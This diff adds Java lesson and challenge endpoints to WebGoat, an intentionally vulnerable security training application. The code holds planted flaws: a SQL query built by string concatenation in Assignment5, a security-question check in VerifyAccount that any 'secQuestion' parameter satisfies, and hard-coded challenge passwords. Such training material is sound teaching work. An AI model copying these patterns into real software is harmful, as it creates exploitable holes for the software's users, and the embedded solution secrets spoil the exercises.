+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.auth_bypass;
+
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.springframework.stereotype.Component;
+
+@Component
+public class AuthBypass extends Lesson {
+
+    @Override
+    public Category getDefaultCategory() {
+        return Category.AUTHENTICATION;
+    }
+
+    @Override
+    public String getTitle() {
+        return "auth-bypass.title";
+    }
+}

src/main/java/org/owasp/webgoat/lessons/auth_bypass/VerifyAccount.java

@@ -0,0 +1,95 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.auth_bypass;
+
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AssignmentHints;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.container.session.UserSessionData;
+import org.owasp.webgoat.container.session.WebSession;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServletRequest;
+import java.io.IOException;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Created by jason on 1/5/17.
+ */
+@RestController
+@AssignmentHints({"auth-bypass.hints.verify.1", "auth-bypass.hints.verify.2", "auth-bypass.hints.verify.3", "auth-bypass.hints.verify.4"})
+public class VerifyAccount extends AssignmentEndpoint {
+
+    @Autowired
+    private WebSession webSession;
+
+    @Autowired
+    UserSessionData userSessionData;
+
+    @PostMapping(path = "/auth-bypass/verify-account", produces = {"application/json"})
+    @ResponseBody
+    public AttackResult completed(@RequestParam String userId, @RequestParam String verifyMethod, HttpServletRequest req) throws ServletException, IOException {
+        AccountVerificationHelper verificationHelper = new AccountVerificationHelper();
+        Map<String, String> submittedAnswers = parseSecQuestions(req);
+        if (verificationHelper.didUserLikelylCheat((HashMap) submittedAnswers)) {
+            return failed(this)
+                    .feedback("verify-account.cheated")
+                    .output("Yes, you guessed correctly, but see the feedback message")
+                    .build();
+        }
+
+        // else
+        if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
+            userSessionData.setValue("account-verified-id", userId);
+            return success(this)
+                    .feedback("verify-account.success")
+                    .build();
+        } else {
+            return failed(this)
+                    .feedback("verify-account.failed")
+                    .build();
+        }
+
+    }
+
+    private HashMap<String, String> parseSecQuestions(HttpServletRequest req) {
+        Map<String, String> userAnswers = new HashMap<>();
+        List<String> paramNames = Collections.list(req.getParameterNames());
+        for (String paramName : paramNames) {
+            //String paramName = req.getParameterNames().nextElement();
+            if (paramName.contains("secQuestion")) {
+                userAnswers.put(paramName, req.getParameter(paramName));
+            }
+        }
+        return (HashMap) userAnswers;
+    }
+
+}

src/main/java/org/owasp/webgoat/lessons/bypass_restrictions/BypassRestrictions.java

@@ -0,0 +1,40 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.bypass_restrictions;
+
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.springframework.stereotype.Component;
+
+@Component
+public class BypassRestrictions extends Lesson {
+    @Override
+    public Category getDefaultCategory() {
+        return Category.CLIENT_SIDE;
+    }
+
+    @Override
+    public String getTitle() {
+        return "bypass-restrictions.title";
+    }
+}

src/main/java/org/owasp/webgoat/lessons/bypass_restrictions/BypassRestrictionsFieldRestrictions.java

@@ -0,0 +1,55 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.bypass_restrictions;
+
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
+
+    @PostMapping("/BypassRestrictions/FieldRestrictions")
+    @ResponseBody
+    public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput, @RequestParam String readOnlyInput) {
+        if (select.equals("option1") || select.equals("option2")) {
+            return failed(this).build();
+        }
+        if (radio.equals("option1") || radio.equals("option2")) {
+            return failed(this).build();
+        }
+        if (checkbox.equals("on") || checkbox.equals("off")) {
+            return failed(this).build();
+        }
+        if (shortInput.length() <= 5) {
+            return failed(this).build();
+        }
+        if ("change".equals(readOnlyInput)) {
+            return failed(this).build();
+        }
+        return success(this).build();
+    }
+}

src/main/java/org/owasp/webgoat/lessons/bypass_restrictions/BypassRestrictionsFrontendValidation.java

@@ -0,0 +1,71 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.bypass_restrictions;
+
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+@RestController
+public class BypassRestrictionsFrontendValidation extends AssignmentEndpoint {
+
+    @PostMapping("/BypassRestrictions/frontendValidation")
+    @ResponseBody
+    public AttackResult completed(@RequestParam String field1, @RequestParam String field2, @RequestParam String field3, @RequestParam String field4, @RequestParam String field5, @RequestParam String field6, @RequestParam String field7, @RequestParam Integer error) {
+        final String regex1 = "^[a-z]{3}$";
+        final String regex2 = "^[0-9]{3}$";
+        final String regex3 = "^[a-zA-Z0-9 ]*$";
+        final String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";
+        final String regex5 = "^\\d{5}$";
+        final String regex6 = "^\\d{5}(-\\d{4})?$";
+        final String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";
+        if (error > 0) {
+            return failed(this).build();
+        }
+        if (field1.matches(regex1)) {
+            return failed(this).build();
+        }
+        if (field2.matches(regex2)) {
+            return failed(this).build();
+        }
+        if (field3.matches(regex3)) {
+            return failed(this).build();
+        }
+        if (field4.matches(regex4)) {
+            return failed(this).build();
+        }
+        if (field5.matches(regex5)) {
+            return failed(this).build();
+        }
+        if (field6.matches(regex6)) {
+            return failed(this).build();
+        }
+        if (field7.matches(regex7)) {
+            return failed(this).build();
+        }
+        return success(this).build();
+    }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/ChallengeIntro.java

@@ -0,0 +1,21 @@
+package org.owasp.webgoat.lessons.challenges;
+
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+
+/**
+ * @author nbaars
+ * @since 3/21/17.
+ */
+public class ChallengeIntro extends Lesson {
+
+    @Override
+    public Category getDefaultCategory() {
+        return Category.CHALLENGE;
+    }
+
+    @Override
+    public String getTitle() {
+        return "challenge0.title";
+    }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/Email.java

@@ -0,0 +1,44 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges;
+
+import lombok.Builder;
+import lombok.Data;
+
+import java.io.Serializable;
+import java.time.LocalDateTime;
+
+/**
+ * @author nbaars
+ * @since 8/20/17.
+ */
+@Builder
+@Data
+public class Email implements Serializable {
+
+    private LocalDateTime time;
+    private String contents;
+    private String sender;
+    private String title;
+    private String recipient;
+}

src/main/java/org/owasp/webgoat/lessons/challenges/Flag.java

@@ -0,0 +1,88 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges;
+
+import lombok.AllArgsConstructor;
+import lombok.Getter;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.container.session.WebSession;
+import org.owasp.webgoat.container.users.UserTracker;
+import org.owasp.webgoat.container.users.UserTrackerRepository;
+import org.springframework.beans.factory.annotation.Autowired;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.RequestMethod;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.annotation.PostConstruct;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.UUID;
+import java.util.stream.IntStream;
+
+/**
+ * @author nbaars
+ * @since 3/23/17.
+ */
+@RestController
+public class Flag extends AssignmentEndpoint {
+
+    public static final Map<Integer, String> FLAGS = new HashMap<>();
+    @Autowired
+    private UserTrackerRepository userTrackerRepository;
+    @Autowired
+    private WebSession webSession;
+
+    @AllArgsConstructor
+    private class FlagPosted {
+        @Getter
+        private boolean lessonCompleted;
+    }
+
+    @PostConstruct
+    public void initFlags() {
+        IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString()));
+    }
+
+    @RequestMapping(path = "/challenge/flag", method = RequestMethod.POST, produces = MediaType.APPLICATION_JSON_VALUE)
+    @ResponseBody
+    public AttackResult postFlag(@RequestParam String flag) {
+        UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
+        String currentChallenge = webSession.getCurrentLesson().getName();
+        int challengeNumber = Integer.valueOf(currentChallenge.substring(currentChallenge.length() - 1, currentChallenge.length()));
+        String expectedFlag = FLAGS.get(challengeNumber);
+        final AttackResult attackResult;
+        if (expectedFlag.equals(flag)) {
+            userTracker.assignmentSolved(webSession.getCurrentLesson(), "Assignment" + challengeNumber);
+            attackResult = success(this).feedback("challenge.flag.correct").build();
+        } else {
+            userTracker.assignmentFailed(webSession.getCurrentLesson());
+            attackResult = failed(this).feedback("challenge.flag.incorrect").build();
+        }
+        userTrackerRepository.save(userTracker);
+        return attackResult;
+    }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/SolutionConstants.java

@@ -0,0 +1,37 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges;
+
+/**
+ * Interface with constants so we can easily change the flags
+ *
+ * @author nbaars
+ * @since 3/23/17.
+ */
+public interface SolutionConstants {
+
+    //TODO should be random generated when starting the server
+    String PASSWORD = "!!webgoat_admin_1234!!";
+    String PASSWORD_TOM = "thisisasecretfortomonly";
+    String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2";
+}

src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Assignment1.java

@@ -0,0 +1,64 @@
+package org.owasp.webgoat.lessons.challenges.challenge1;
+
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.lessons.challenges.Flag;
+import org.springframework.util.StringUtils;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServletRequest;
+
+import static org.owasp.webgoat.lessons.challenges.SolutionConstants.PASSWORD;
+
+/**
+ * ************************************************************************************************
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ * please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
+ * <p>
+ *
+ * @author WebGoat
+ * @version $Id: $Id
+ * @since August 11, 2016
+ */
+@RestController
+public class Assignment1 extends AssignmentEndpoint {
+
+    @PostMapping("/challenge/1")
+    @ResponseBody
+    public AttackResult completed(@RequestParam String username, @RequestParam String password, HttpServletRequest request) {
+        boolean ipAddressKnown =  true;
+        boolean passwordCorrect = "admin".equals(username) && PASSWORD.replace("1234", String.format("%04d",ImageServlet.PINCODE)).equals(password);
+        if (passwordCorrect && ipAddressKnown) {
+            return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(1)).build();
+        } else if (passwordCorrect) {
+            return failed(this).feedback("ip.address.unknown").build();
+        }
+        return failed(this).build();
+    }
+
+    public static boolean containsHeader(HttpServletRequest request) {
+        return StringUtils.hasText(request.getHeader("X-Forwarded-For"));
+    }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/Challenge1.java

@@ -0,0 +1,23 @@
+package org.owasp.webgoat.lessons.challenges.challenge1;
+
+import org.owasp.webgoat.container.lessons.Category;
+import org.owasp.webgoat.container.lessons.Lesson;
+import org.springframework.stereotype.Component;
+
+/**
+ * @author nbaars
+ * @since 3/21/17.
+ */
+@Component
+public class Challenge1 extends Lesson {
+
+    @Override
+    public Category getDefaultCategory() {
+        return Category.CHALLENGE;
+    }
+
+    @Override
+    public String getTitle() {
+        return "challenge1.title";
+    }
+}

src/main/java/org/owasp/webgoat/lessons/challenges/challenge1/ImageServlet.java

@@ -0,0 +1,36 @@
+package org.owasp.webgoat.lessons.challenges.challenge1;
+
+import org.springframework.core.io.ClassPathResource;
+import org.springframework.http.MediaType;
+import org.springframework.web.bind.annotation.RequestMapping;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import javax.servlet.http.HttpServlet;
+import java.io.IOException;
+import java.security.SecureRandom;
+
+import static org.springframework.web.bind.annotation.RequestMethod.GET;
+import static org.springframework.web.bind.annotation.RequestMethod.POST;
+
+@RestController
+public class ImageServlet extends HttpServlet {
+	
+	private static final long serialVersionUID = 9132775506936676850L;
+	static final public int PINCODE = new SecureRandom().nextInt(10000);
+
+    @RequestMapping(method = {GET, POST}, value = "/challenge/logo", produces = MediaType.IMAGE_PNG_VALUE)
+    @ResponseBody
+	public byte[] logo() throws IOException {
+		byte[] in = new ClassPathResource("lessons/challenges/images/webgoat2.png").getInputStream().readAllBytes();
+		
+		String pincode = String.format("%04d", PINCODE);
+		
+		in[81216]=(byte) pincode.charAt(0);
+		in[81217]=(byte) pincode.charAt(1);
+		in[81218]=(byte) pincode.charAt(2);
+		in[81219]=(byte) pincode.charAt(3);
+
+        return in;
+	}
+}

src/main/java/org/owasp/webgoat/lessons/challenges/challenge5/Assignment5.java

@@ -0,0 +1,70 @@
+/*
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
+ *
+ * Copyright (c) 2002 - 2019 Bruce Mayhew
+ *
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
+ * GNU General Public License as published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along with this program; if
+ * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
+ * 02111-1307, USA.
+ *
+ * Getting Source ==============
+ *
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
+ */
+
+package org.owasp.webgoat.lessons.challenges.challenge5;
+
+import lombok.extern.slf4j.Slf4j;
+import org.owasp.webgoat.container.LessonDataSource;
+import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
+import org.owasp.webgoat.container.assignments.AttackResult;
+import org.owasp.webgoat.lessons.challenges.Flag;
+import org.springframework.util.StringUtils;
+import org.springframework.web.bind.annotation.PostMapping;
+import org.springframework.web.bind.annotation.RequestParam;
+import org.springframework.web.bind.annotation.ResponseBody;
+import org.springframework.web.bind.annotation.RestController;
+
+import java.sql.PreparedStatement;
+import java.sql.ResultSet;
+
+@RestController
+@Slf4j
+public class Assignment5 extends AssignmentEndpoint {
+
+    private final LessonDataSource dataSource;
+
+    public Assignment5(LessonDataSource dataSource) {
+        this.dataSource = dataSource;
+    }
+
+    @PostMapping("/challenge/5")
+    @ResponseBody
+    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {
+        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {
+            return failed(this).feedback("required4").build();
+        }
+        if (!"Larry".equals(username_login)) {
+            return failed(this).feedback("user.not.larry").feedbackArgs(username_login).build();
+        }
+        try (var connection = dataSource.getConnection()) {
+            PreparedStatement statement = connection.prepareStatement("select password from challenge_users where userid = '" + username_login + "' and password = '" + password_login + "'");
+            ResultSet resultSet = statement.executeQuery();
+
+            if (resultSet.next()) {
+                return success(this).feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(5)).build();
+            } else {
+                return failed(this).feedback("challenge.close").build();
+            }
+        }
+    }
+}
+